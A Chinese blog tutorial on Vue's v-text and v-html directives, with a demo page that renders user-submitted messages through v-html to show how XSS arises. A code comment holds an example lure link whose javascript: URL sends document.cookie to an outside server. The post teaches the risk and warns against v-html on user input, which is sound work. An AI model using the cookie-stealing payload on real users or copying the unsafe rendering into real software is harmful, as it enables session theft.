VUE框架用户提交页面信息展示与XSS攻击原理剖析------VUE框架

最新推荐文章于 2024-05-24 09:21:33 发布
最新推荐文章于 2024-05-24 09:21:33 发布
阅读量977 收藏 19
点赞数 22
分类专栏： # VUE框架 前端 文章标签： vue.js 前端 javascript ecmascript 前端框架 vue xss
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2201_75960169/article/details/134733196
版权 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="js/vue.js"></script>
</head>
<body>
    <div id="app">
        <!-- v-text指令可以将指令中的内容取出放到标签体中,和JS的innerText一样 -->
        <h1>{{msg}}</h1>
        <h1 v-text="msg"></h1>
        <!-- 这种填充和JS的innerText实现原理一样,都是先清空标签体原有的内容,填充新内容 -->
        <h1 v-text="n"></h1>
        <!-- 即便是html代码也只会作为普通文本执行 -->
        <h1 v-text="s1"></h1>
        <!-- v-html视为html代码,和JS中的innerHTML一样 -->
        <!-- 也是覆盖原有内容,显示新东西 -->
        <!-- innerHtml和v-html最好少用,因为有概率导致XSS攻击 -->
        <!-- 这种在实际开发中,不要用到用户提交的内容上,会导致JS代码注入 -->
        <div v-html="s1"></div>
        <!-- 什么叫XSS攻击,XSS攻击通常就是利用网页开发时留下的漏洞, -->
        <!-- 通过巧妙的方法注入恶意指令到网页,使正常用户加载并执行 -->
        <!-- 这些恶意的网页程序一般是用JS编写的 -->
        <!-- 例如 -->
        <!-- <a href='javascript:location.href="https://www.baidu.com?" + document.cookie'>点我给你看看好玩的</a> -->
        <!-- 如果正常用户点击了这个留言,就会导致自己的cookie被发送给恶意的服务器 -->
        <!-- 就会被对方获取信息 -->
        <div>
            <ul>
                <li v-for="inf,propName of info" :key="inf.user">{{inf.user}}:{{inf.word}}</li>
            </ul>
        </div>
        <div>
            <ul>
                <li v-for="m,index of messageList" :key="index" v-html="m"></li>
            </ul>
        </div>
        <div>
            <textarea cols="50" rows="10" v-model.lazy="message"></textarea>
            <button @click="save()">保存留言</button>
        </div>
        <div>
            <input type="text" v-model="name"/>
            <input type="text" v-model="input"/>
            <button @click="submit()">按一下提交</button>
        </div>
    </div>
    <script>
        const vm = new Vue({
            el : "#app",
            data : {
                msg : "Hello",
                n : "Jack",
                s1 : "<h1>哈哈哈</h1>",
                name : "",
                input : "",
                message : "",
                info : [
                    {user : "Jack",word : "哈哈哈哈"},
                    {user : "Rose",word : "哈哈哈哈"},
                    {user : "Tim",word : "哈哈哈哈"},
                    {user : "Peter",word : "哈哈哈哈"},
                    {user : "David",word : "哈哈哈哈"}
                ],
                messageList : []
            },
            methods : {
                submit(){
                    let name = this.name;
                    let input = this.input;
                    this.$data.info.push({user : name,word : input});
                },
                save(){
                    this.messageList.push(this.message);
                }
            }
        });
    </script>
</body>
</html>

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Document</title>

    <script src="js/vue.js"></script>

</head>

<body>

    <div id="app">

        <!-- v-text指令可以将指令中的内容取出放到标签体中,和JS的innerText一样 -->

        <h1>{{msg}}</h1>

        <h1 v-text="msg"></h1>

        <!-- 这种填充和JS的innerText实现原理一样,都是先清空标签体原有的内容,填充新内容 -->

        <h1 v-text="n"></h1>

        <!-- 即便是html代码也只会作为普通文本执行 -->

        <h1 v-text="s1"></h1>

        <!-- v-html视为html代码,和JS中的innerHTML一样 -->

        <!-- 也是覆盖原有内容,显示新东西 -->

        <!-- innerHtml和v-html最好少用,因为有概率导致XSS攻击 -->

        <!-- 这种在实际开发中,不要用到用户提交的内容上,会导致JS代码注入 -->

        <div v-html="s1"></div>

        <!-- 什么叫XSS攻击,XSS攻击通常就是利用网页开发时留下的漏洞, -->

        <!-- 通过巧妙的方法注入恶意指令到网页,使正常用户加载并执行 -->

        <!-- 这些恶意的网页程序一般是用JS编写的 -->

        <!-- 例如 -->

        <!-- <a href='javascript:location.href="https://www.baidu.com?" + document.cookie'>点我给你看看好玩的</a> -->

        <!-- 如果正常用户点击了这个留言,就会导致自己的cookie被发送给恶意的服务器 -->

        <!-- 就会被对方获取信息 -->

        <div>

            <ul>

                <li v-for="inf,propName of info" :key="inf.user">{{inf.user}}:{{inf.word}}</li>

            </ul>

        </div>

        <div>

            <ul>

                <li v-for="m,index of messageList" :key="index" v-html="m"></li>

            </ul>

        </div>

        <div>

            <textarea cols="50" rows="10" v-model.lazy="message"></textarea>

            <button @click="save()">保存留言</button>

        </div>

        <div>

            <input type="text" v-model="name"/>

            <input type="text" v-model="input"/>

            <button @click="submit()">按一下提交</button>

        </div>

    </div>

    <script>

        const vm = new Vue({

            el : "#app",

            data : {

                msg : "Hello",

                n : "Jack",

                s1 : "<h1>哈哈哈</h1>",

                name : "",

                input : "",

                message : "",

                info : [

                    {user : "Jack",word : "哈哈哈哈"},

                    {user : "Rose",word : "哈哈哈哈"},

                    {user : "Tim",word : "哈哈哈哈"},

                    {user : "Peter",word : "哈哈哈哈"},

                    {user : "David",word : "哈哈哈哈"}

                ],

                messageList : []

            },

            methods : {

                submit(){

                    let name = this.name;

                    let input = this.input;

                    this.$data.info.push({user : name,word : input});

                },

                save(){

                    this.messageList.push(this.message);

                }

            }

        });

    </script>

</body>

</html>

旧约Alatus
关注
  • 22
    点赞
  • 踩
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
vue xss 存在_给XSS加点S
weixin_36090220的博客
01-04 1040
TOC：约定本文中出现由花括号包裹的内容为服务端进行 html 字符串拼接的动态内容：{ userData }，在其他文章中经常表现为 <%= userData >。本文中所使用的关键词：“用户数据”，与“非受信数据”同义。XSS 简介XSS 是一种代码注入攻击，在受害者浏览器上注入恶意代码并执行，本质是前后端渲染不受信任的用户数据导致的安全问题。不受信任的用户数据指的是由用户提供的数...
Web前端安全系列之：XSS攻防及Vue防御（万字长文）
绝对零度的博客
10-20 9517
Web 攻击技术的发展也可以分为几个阶段。在Web 1.0时代，人们更多的是关注服务器端动态脚本的安全问题，比如将一个可执行脚本（俗称webshell）上传到服务器上，从而获得权限。后续有出现了SQL注入，SQL注入的出现是Web安全史上的一个里程碑，SQL注入漏洞至今仍然是Web安全领域中的一个重要组成部分。再后续另一个里程碑的安全问题问世–XSS（跨站脚本攻击）。伴随着Web 2.0的兴起，XSS、CSRF等攻击已经变得更为强大。Web攻击的思路也从服务器端转向了客户端，转向了浏览器和用户。
XSS系列二：基于vue搭建的网站如何防范XSS攻击
川端小树的博客
10-02 5567
1.对于从接口请求的数据，尽量使用{{}}加载,而不是v-html vue中的大括号会把数据解释为普通文本。通常如果要解释成html代码则要用v-html。而此指令相当于innerHTML。虽然像innerHTML一样不会直接输出script标签，但也可以输出img，iframe等标签。 vue文档关于v-html的说明如下所示： 2.对用v-html和innerHTML加载的客户信息进行转义 如果显示内容里面有html片段，一定需要用v-html或者innerHTML加载，例...
Vue项目如何进行XSS防护
最新发布
执着
05-24 435
在目前主推网络安全的情况下，很多开发项目都需要在上线前进行渗透测试，当符合渗透测试标准及没有安全漏洞即可正常上线，当前还会有代码审计的，这个另当别论。如果你的项目是vue2+webpack+js的话，推荐使用vue-xss库，方便快捷安装命令在main.js中引入并且使用在组件中的使用如果你的是阴间项目，使用的是vue2+ts+webpack的项目，那你可以参考上面的vue3+ts+vite项目的使用方法，注意vue2和vue3全局挂在自定义方法是不一样的，这里需要自行修改。
前端XSS攻击场景与Vue.js处理XSS的方法：vue-xss
zhangzuying的博客
12-21 3825
在前端开发中，跨站脚本攻击（XSS）是一种常见的安全威胁。本文将介绍前端跨站脚本攻击（XSS）的场景以及在Vue.js框架中如何处理XSS的方法。通过了解这些内容，我们可以更好地保护前端应用程序的安全性，防止恶意攻击。一个开箱即用的Vue.js插件，可通过简单的方式防止XSS攻击。
Vue解决xss脚本攻击
youngerxsd的博客
05-09 1703
XSS（Cross Site Scripting）攻击是一种常见的Web攻击方式，它利用了Web应用程序中存在的安全漏洞，向Web页面中注入恶意的脚本代码，从而在用户访问页面时执行这些脚本，达到攻击者所期望的目的。XSS攻击通常分为两类：反射型和存储型。反射型XSS攻击，也称为非持久性XSS攻击，是攻击者通过发送恶意链接或篡改表单数据等方式，向服务器提交带有恶意脚本的请求，服务器将这些恶意脚本注入到Web页面的响应中，当用户访问该页面时，恶意脚本就会被执行，从而实现攻击。
商业编程-源码-框架式留言本.zip
06-23
5. **安全性**：包括输入验证、防止SQL注入、XSS攻击等，确保用户数据的安全。 6. **用户体验**：通过HTML/CSS/JavaScript构建用户友好的界面，可能涉及响应式设计，使应用在不同设备上都能良好运行。 7. **版本...
vue通过v-html指令渲染的富文本无法修改样式的解决方案
10-15
这是由于Vue的`scoped`属性的工作原理。在默认情况下，`scoped`属性使样式只应用于当前组件内的元素。然而，`v-html`动态插入的HTML并不属于Vue编译的一部分，因此它们不受`scoped`样式的影响。Vue可能在构建虚拟...
行业文档-设计装置-在线票据交易平台用户信息展示系统.zip
08-26
在线票据交易平台用户信息展示系统是金融行业中一个关键的组成部分，主要负责处理企业间电子票据的交换、查询、管理以及用户信息的可视化展示。这个系统的设计和实现涉及到多个IT领域的专业知识，包括但不限于数据库...
商业编程-源码-多用户留言板(cuteBook) v1.0.5.zip
06-23
前端可能采用了React、Vue.js或Angular等现代JavaScript框架，为用户提供流畅的交互体验。后端则需要设计RESTful API接口，以HTTP请求处理这些操作。 此外，为了保证用户体验，系统可能还包含了消息通知机制，如...
商业编程-源码-桃源多用户留言板.zip
06-23
《商业编程-源码-桃源多用户留言板》是一个典型的多用户交互系统，它涉及到许多IT领域的关键知识点，包括但不限于Web开发、数据库管理、用户认证与授权、前端交互设计等。下面将对这些核心概念进行深入解析。 1. **...
商业编程-源码-时尚留言簿多用户版 Build 0921.zip
06-23
这个项目的源码分析可以让我们深入了解如何构建一个高效、安全且用户友好的多用户交互平台。 首先，我们需要理解“商业编程”的概念。商业编程是指针对商业需求而进行的软件开发，它强调的是解决实际业务问题，提高...
商业源码-编程源码-了了个人相册展示系统 v1.1.zip
06-17
10. **安全防护**：系统需要有防止SQL注入、XSS攻击等安全措施，以保护用户数据不受恶意攻击。 11. **API集成**：可能与其他服务（如社交媒体、云存储平台）集成，通过API实现数据交换和功能扩展。 12. **部署与...
课设&大作业&毕设-基于Vue的电影在线预订与管理系统-后台java代码（ssm）（毕业设计）.zip
03-30
这是一个关于课程设计、大作业或毕业设计的项目，主要涵盖了基于Vue.js的电影在线预订与管理系统，其后台采用Java编程语言，使用了SSM（Spring、SpringMVC、MyBatis）框架。以下是对这个系统及其相关技术的详细说明...
JAVA-BBS-WEB.rar_java-bbs
09-20
5. **安全机制**：对于用户登录和注册，项目可能包含了密码加密、CSRF（跨站请求伪造）防护、XSS（跨站脚本攻击）防护等安全措施，确保用户信息安全。 6. **会话管理**：为了保持用户登录状态，项目可能会使用...
商业编程-源码-昆明公交查询系统源码.zip
06-23
- 前端：通常包括HTML、CSS和JavaScript，可能使用了前端框架如React或Vue.js来构建用户界面，实现动态交互和数据展示。 - 后端：可能基于Java、Python或Node.js等服务器端语言，利用Spring Boot、Django或Express...
vue中xss详细配置
沃德天，倪维胜么，捺莫帅？
09-25 3727
xss文件 import xss from 'xss'; // 导入xss包 const options = { // 白名单 whiteList:{ a: ['style', 'href', 'title', 'target'], p:['style'], section: ['style'], strong: ['style'], abbr: ["title",'style'], addres
网络安全---Vue中解决XSS（跨站脚本攻击）
总结、沉淀、提升
02-26 1297
Vue中解决XSS的办法是...
04-Vue3 学习笔记之 Vue 核心基础
fqyy_8829的博客
10-08 218
Vue 核心基础数据模板绑定双大括号语法文本显示指令 v-text 和 v-cloak输出 HTML 指令一次性插值属性的动态绑定v-bind 的使用说明class 与 style 绑定事件绑定指令事件处理方法事件修饰符按键修饰符表单数据双向绑定条件渲染列表渲染迭代数组迭代对象v-memo计算属性监听器 数据模板绑定   模板数据绑定渲染可生成动态的 HTML 页面，页面中使用嵌入 Vue 语法可动态生成： {{xxx}} 双大括号文本绑定 v-xxx 以 v- 开头用于标签属性绑定，称为 指令 双大括
人人权限系统开发文档3.0：全面解析与实战指南
第六章“后端源码分析”深入剖析了系统的后端设计，包括前后端分离的实现、权限设计思路、防止XSS攻击的策略、SQL注入防护、Redis缓存的使用、异常处理机制、后端验证机制、系统日志记录、菜单、角色和管理员的管理...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值